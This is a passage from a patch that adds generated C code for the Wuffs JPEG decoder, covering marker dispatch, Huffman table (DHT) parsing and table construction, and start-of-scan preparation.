(self->private_impl.f_payload_length < 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 2u; ++ } ++ if (v_marker < 192u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } else if (v_marker < 208u) { ++ if (v_marker == 196u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_jpeg__decoder__decode_dht(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else if (v_marker == 200u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } else if (v_marker < 224u) { ++ if (v_marker < 217u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); ++ goto exit; ++ } else if (v_marker == 217u) { ++ break; ++ } else if (v_marker == 218u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_jpeg__decoder__decode_sos(self, a_dst, a_src, a_workbuf); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else if (v_marker == 219u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_jpeg__decoder__decode_dqt(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else if (v_marker == 221u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_jpeg__decoder__decode_dri(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ } else if (v_marker < 240u) { ++ } else { ++ if (v_marker == 254u) { ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ } ++ self->private_data.s_do_decode_frame.scratch = self->private_impl.f_payload_length; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ self->private_impl.f_payload_length = 0u; ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame.v_marker = v_marker; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_dht ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dht( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_tc = 0; ++ uint8_t v_th = 0; ++ uint8_t v_tc4_th = 0; ++ uint32_t v_working_total_count = 0; ++ uint32_t v_total_count = 0; ++ uint32_t v_i = 0; ++ bool v_failed = false; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_dht; ++ if (coro_susp_point) { ++ v_tc4_th = self->private_data.s_decode_dht.v_tc4_th; ++ v_total_count = self->private_data.s_decode_dht.v_total_count; ++ v_i = self->private_data.s_decode_dht.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_sof_marker == 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ while (self->private_impl.f_payload_length > 0u) { ++ if (self->private_impl.f_payload_length < 17u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 17u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if ((((uint8_t)(v_c8 >> 4u)) > 1u) || (((uint8_t)(v_c8 & 15u)) > 3u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ v_tc = ((uint8_t)(v_c8 >> 4u)); ++ v_th = ((uint8_t)(v_c8 & 15u)); ++ v_tc4_th = ((uint8_t)(((uint8_t)(((uint8_t)(v_tc * 4u)) | v_th)))); ++ if ((self->private_impl.f_sof_marker == 192u) && (((uint8_t)(v_tc4_th & 3u)) > 1u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ self->private_data.f_dht_temp_counts[v_i] = t_1; ++ } ++ v_i += 1u; ++ } ++ v_working_total_count = 0u; ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_working_total_count = ((v_working_total_count + ((uint32_t)(self->private_data.f_dht_temp_counts[v_i]))) & 65535u); ++ v_i += 1u; ++ } ++ if ((v_working_total_count <= 0u) || (256u < v_working_total_count)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ v_total_count = v_working_total_count; ++ if (self->private_impl.f_payload_length < v_total_count) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= v_total_count; ++ v_i = 0u; ++ while (v_i < v_total_count) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = t_2; ++ } ++ v_i += 1u; ++ } ++ while (v_i < 256u) { ++ self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = 0u; ++ v_i += 1u; ++ } ++ if (((uint8_t)(v_tc4_th & 4u)) == 0u) { ++ v_i = 0u; ++ while (v_i < v_total_count) { ++ if (self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] > 15u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ v_i += 1u; ++ } ++ } ++ v_failed = wuffs_jpeg__decoder__calculate_huff_tables(self, v_tc4_th, v_total_count); ++ if (v_failed) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ self->private_impl.f_seen_dht[v_tc4_th] = true; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_dht = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_dht = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_dht.v_tc4_th = v_tc4_th; ++ self->private_data.s_decode_dht.v_total_count = v_total_count; ++ self->private_data.s_decode_dht.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.calculate_huff_tables ++ ++WUFFS_BASE__GENERATED_C_CODE ++static bool ++wuffs_jpeg__decoder__calculate_huff_tables( ++ wuffs_jpeg__decoder* self, ++ uint8_t a_tc4_th, ++ uint32_t a_total_count) { ++ uint32_t v_i = 0; ++ uint8_t v_j = 0; ++ uint8_t v_k = 0; ++ uint32_t v_bit_length_minus_one = 0; ++ uint8_t v_bit_length = 0; ++ uint32_t v_bit_string = 0; ++ uint32_t v_slow = 0; ++ uint8_t v_prefix = 0; ++ uint16_t v_fast = 0; ++ uint32_t v_reps = 0; ++ ++ v_i = 0u; ++ v_k = 0u; ++ v_bit_length_minus_one = 0u; ++ while (v_i < a_total_count) { ++ while (v_k >= self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { ++ v_k = 0u; ++ v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_k += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_data.f_dht_temp_bit_lengths[v_i] = ((uint8_t)((v_bit_length_minus_one + 1u))); ++ v_i += 1u; ++ } ++ v_bit_length = 0u; ++ v_bit_string = 0u; ++ v_i = 0u; ++ while (v_i < a_total_count) { ++ while (v_bit_length < self->private_data.f_dht_temp_bit_lengths[v_i]) { ++ if (v_bit_length >= 16u) { ++ return true; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_bit_length += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bit_string <<= 1u; ++ } ++ self->private_data.f_dht_temp_bit_strings[v_i] = ((uint16_t)(v_bit_string)); ++ v_bit_string += 1u; ++ if ((v_bit_string >> v_bit_length) > 0u) { ++ return true; ++ } ++ v_i += 1u; ++ } ++ v_k = 0u; ++ v_bit_length_minus_one = 0u; ++ while (true) { ++ if (self->private_data.f_dht_temp_counts[v_bit_length_minus_one] == 0u) { ++ self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = 0u; ++ } else { ++ v_slow = (255u & ((uint32_t)(((uint32_t)(v_k)) - ((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_k]))))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_k += self->private_data.f_dht_temp_counts[v_bit_length_minus_one]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = (v_slow | ((((uint32_t)(self->private_data.f_dht_temp_bit_strings[((uint8_t)(v_k - 1u))])) + 1u) << 8u)); ++ } ++ v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); ++ if (v_bit_length_minus_one == 0u) { ++ break; ++ } ++ } ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_impl.f_huff_tables_fast[a_tc4_th][v_i] = 65535u; ++ v_i += 1u; ++ } ++ v_j = 0u; ++ v_bit_length_minus_one = 0u; ++ while (v_bit_length_minus_one < 8u) { ++ v_k = 0u; ++ while (v_k < self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { ++ v_prefix = ((uint8_t)((((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_j])) << (7u - v_bit_length_minus_one)))); ++ v_fast = ((uint16_t)(((((uint32_t)((v_bit_length_minus_one + 1u))) << 8u) | ((uint32_t)(self->private_impl.f_huff_tables_symbols[a_tc4_th][v_j]))))); ++ v_reps = (((uint32_t)(1u)) << (7u - v_bit_length_minus_one)); ++ while (v_reps > 0u) { ++ self->private_impl.f_huff_tables_fast[a_tc4_th][v_prefix] = v_fast; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_prefix += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_reps -= 1u; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_k += 1u; ++ v_j += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ v_bit_length_minus_one += 1u; ++ } ++ return false; ++} ++ ++// -------- func jpeg.decoder.decode_sos ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_sos( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_my = 0; ++ uint32_t v_mx = 0; ++ uint32_t v_decode_mcu_result = 0; ++ uint32_t v_bitstream_length = 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_sos; ++ if (coro_susp_point) { ++ v_my = self->private_data.s_decode_sos.v_my; ++ v_mx = self->private_data.s_decode_sos.v_mx; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_scan_count >= 32u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_scan_count); ++ goto exit; ++ } else if ((self->private_impl.f_scan_count > 0u) && ! self->private_impl.f_expect_multiple_scans) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_scan_count); ++ goto exit; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_jpeg__decoder__prepare_scan(self, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_next_restart_marker = 0u; ++ self->private_impl.f_mcu_previous_dc_values[0u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[1u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[2u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[3u] = 0u; ++ self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; ++ self->private_impl.f_eob_run = 0u; ++ self->private_impl.f_bitstream_bits = 0u; ++ self->private_impl.f_bitstream_n_bits = 0u; ++ self->private_impl.f_bitstream_ri = 0u; ++ self->private_impl.f_bitstream_wi = 0u; ++ self->private_impl.f_bitstream_padding = 12345u; ++ wuffs_jpeg__decoder__fill_bitstream(self, a_src); ++ v_my = 0u; ++ while (v_my < self->private_impl.f_scan_height_in_mcus) { ++ v_mx = 0u; ++ while (v_mx < self->private_impl.f_scan_width_in_mcus) { ++ self->private_impl.f_mcu_current_block = 0u; ++ self->private_impl.f_mcu_zig_index = ((uint32_t)(self->private_impl.f_scan_ss)); ++ if (self->private_impl.f_sof_marker >= 194u) { ++ wuffs_jpeg__decoder__load_mcu_blocks(self, v_mx, v_my, a_workbuf); ++ } ++ while (true) { ++ v_decode_mcu_result = wuffs_jpeg__decoder__decode_mcu(self, ++ a_dst, ++ a_workbuf, ++ v_mx, ++ v_my); ++ if (v_decode_mcu_result == 0u) { ++ break; ++ } else if (v_decode_mcu_result == 1u) { ++ } else if (v_decode_mcu_result == 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__internal_error_inconsistent_decoder_state); ++ goto exit; ++ } else { ++ status = self->private_impl.f_swizzle_immediately_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ while (true) { ++ v_bitstream_length = ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri)); ++ wuffs_jpeg__decoder__fill_bitstream(self, a_src); ++ if (v_bitstream_length < ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri))) { ++ break; ++ } else if (self->private_impl.f_bitstream_padding == 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } else if ((a_src && a_src->meta.closed) && ! self->private_impl.f_bitstream_is_closed) { ++ if (self->private_impl.f_bitstream_wi < 1024u) { ++ wuffs_private_impl__bulk_memset(&self->private_data.f_bitstream_buffer[self->private_impl.f_bitstream_wi], 264u, 0u); ++ self->private_impl.f_bitstream_wi += 264u; ++ self->private_impl.f_bitstream_is_closed = true; ++ } ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ } ++ if (self->private_impl.f_sof_marker >= 194u) { ++ wuffs_jpeg__decoder__save_mcu_blocks(self, v_mx, v_my, a_workbuf); ++ } ++ if (self->private_impl.f_restarts_remaining > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_restarts_remaining -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ if (self->private_impl.f_restarts_remaining == 0u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_jpeg__decoder__skip_past_the_next_restart_marker(self, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_mcu_previous_dc_values[0u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[1u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[2u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[3u] = 0u; ++ self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; ++ self->private_impl.f_eob_run = 0u; ++ self->private_impl.f_bitstream_bits = 0u; ++ self->private_impl.f_bitstream_n_bits = 0u; ++ self->private_impl.f_bitstream_ri = 0u; ++ self->private_impl.f_bitstream_wi = 0u; ++ self->private_impl.f_bitstream_padding = 12345u; ++ } ++ } ++ v_mx += 1u; ++ } ++ v_my += 1u; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_scan_count, 1u); ++ ++ ok: ++ self->private_impl.p_decode_sos = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_sos = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_sos.v_my = v_my; ++ self->private_data.s_decode_sos.v_mx = v_mx; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func jpeg.decoder.prepare_scan ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__prepare_scan( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_j_max_incl = 0; ++ bool v_failed = false; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_prepare_scan; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_prepare_scan.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if ((self->private_impl.f_payload_length < 6u) || (self->private_impl.f_payload_length > 12u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if ((v_c8 < 1u) || (v_c8 > 4u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_num_components = ((uint32_t)(v_c8)); ++ if ((self->private_impl.f_scan_num_components > self->private_impl.f_num_components) || (self->private_impl.f_payload_length != (4u + (2u * self->private_impl.f_scan_num_components)))) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length = 0u; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_scan_num_components) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ v_j = 0u; ++ while (true) { ++ if (v_j >= self->private_impl.f_num_components) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ if (v_c8 == self->private_impl.f_components_c[v_j]) { ++ if ( ! self->private_impl.f_seen_dqt[self->private_impl.f_components_tq[v_j]]) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__missing_quantization_table); ++ goto exit; ++ } ++ self->private_impl.f_scan_comps_cselector[v_i] = ((uint8_t)(v_j)); ++ break; ++ } ++ v_j += 1u; ++ } ++ v_j = 0u; ++ while (v_j < v_i) { ++ if (self->private_impl.f_scan_comps_cselector[v_i] == self->private_impl.f_scan_comps_cselector[v_j]) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ v_j += 1u; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if ((((uint8_t)(v_c8 >> 4u)) > 3u) || (((uint8_t)(v_c8 & 15u)) > 3u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_comps_td[v_i] = ((uint8_t)(v_c8 >> 4u)); ++ self->private_impl.f_scan_comps_ta[v_i] = ((uint8_t)(v_c8 & 15u)); ++ if (self->private_impl.f_sof_marker == 192u) { ++ if ((self->private_impl.f_scan_comps_td[v_i] > 1u) || (self->private_impl.f_scan_comps_ta[v_i] > 1u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ } ++ v_i += 1u; ++ } ++ if (self->private_impl.f_scan_count == 0u) { ++ self->private_impl.f_expect_multiple_scans = ((self->private_impl.f_sof_marker >= 194u) || (self->private_impl.f_scan_num_components < self->private_impl.f_num_components)); ++ } ++ if (self->private_impl.f_sof_marker < 194u) { ++ self->private_data.s_prepare_scan.scratch = 3u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (self->private_data.s_prepare_scan.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_prepare_scan.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_prepare_scan.scratch; ++ self->private_impl.f_scan_ss = 0u; ++ self->private_impl.f_scan_se = 63u; ++ self->private_impl.f_scan_ah = 0u; ++ self->private_impl.f_scan_al = 0u; ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if (v_c8 > 63u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_ss = v_c8; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if ((v_c8 > 63u) || (v_c8 < self->private_impl.f_scan_ss)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_se = v_c8; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ if ((((uint8_t)(v_c8 >> 4u)) > 14u) || (((uint8_t)(v_c8 & 15u)) > 13u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_ah = ((uint8_t)(v_c8 >> 4u)); ++ self->private_impl.f_scan_al = ((uint8_t)(v_c8 & 15u)); ++ if (self->private_impl.f_scan_ah > 0u) { ++ if (((uint8_t)(self->private_impl.f_scan_ah - 1u)) != self->private_impl.f_scan_al) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ } ++ if (self->private_impl.f_scan_ss == 0u) { ++ if (self->private_impl.f_scan_se != 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } else if (self->private_impl.f_scan_ah == 0u) { ++ self->private_impl.choosy_decode_mcu = ( ++ &wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits); ++ } else { ++ self->private_impl.choosy_decode_mcu = ( ++ &wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit); ++ } ++ } else { ++ if (self->private_impl.f_scan_num_components != 1u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } else if (self->private_impl.f_scan_ah == 0u) { ++ self->private_impl.choosy_decode_mcu = ( ++ &wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits); ++ } else { ++ self->private_impl.choosy_decode_mcu = ( ++ &wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit); ++ } ++ } ++ } ++ v_i = 0u; ++ while (v_i < self->private_impl.f_scan_num_components) { ++ if ((self->private_impl.f_scan_ss == 0u) && ! self->private_impl.f_seen_dht[((uint8_t)(0u | self->private_impl.f_scan_comps_td[v_i]))]) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_jpeg__decoder__use_default_huffman_table(self, ((uint8_t)(0u | self->private_impl.f_scan_comps_td[v_i]))); ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ if ((self->private_impl.f_scan_se != 0u) && ! self->private_impl.f_seen_dht[((uint8_t)(4u | self->private_impl.f_scan_comps_ta[v_i]))]) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_jpeg__decoder__use_default_huffman_table(self, ((uint8_t)(4u | self->private_impl.f_scan_comps_ta[v_i]))); ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ v_j = ((uint32_t)(self->private_impl.f_scan_ss)); ++ v_j_max_incl = ((uint32_t)(wuffs_base__u8__min(self->private_impl.f_scan_se, 9u))); ++ while (v_j <= v_j_max_incl) { ++ self->private_impl.f_block_smoothing_lowest_scan_al[self->private_impl.f_scan_comps_cselector[v_i]][v_j] = self->private_impl.f_scan_al; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ if (self->private_impl.f_scan_num_components == 1u) { ++ 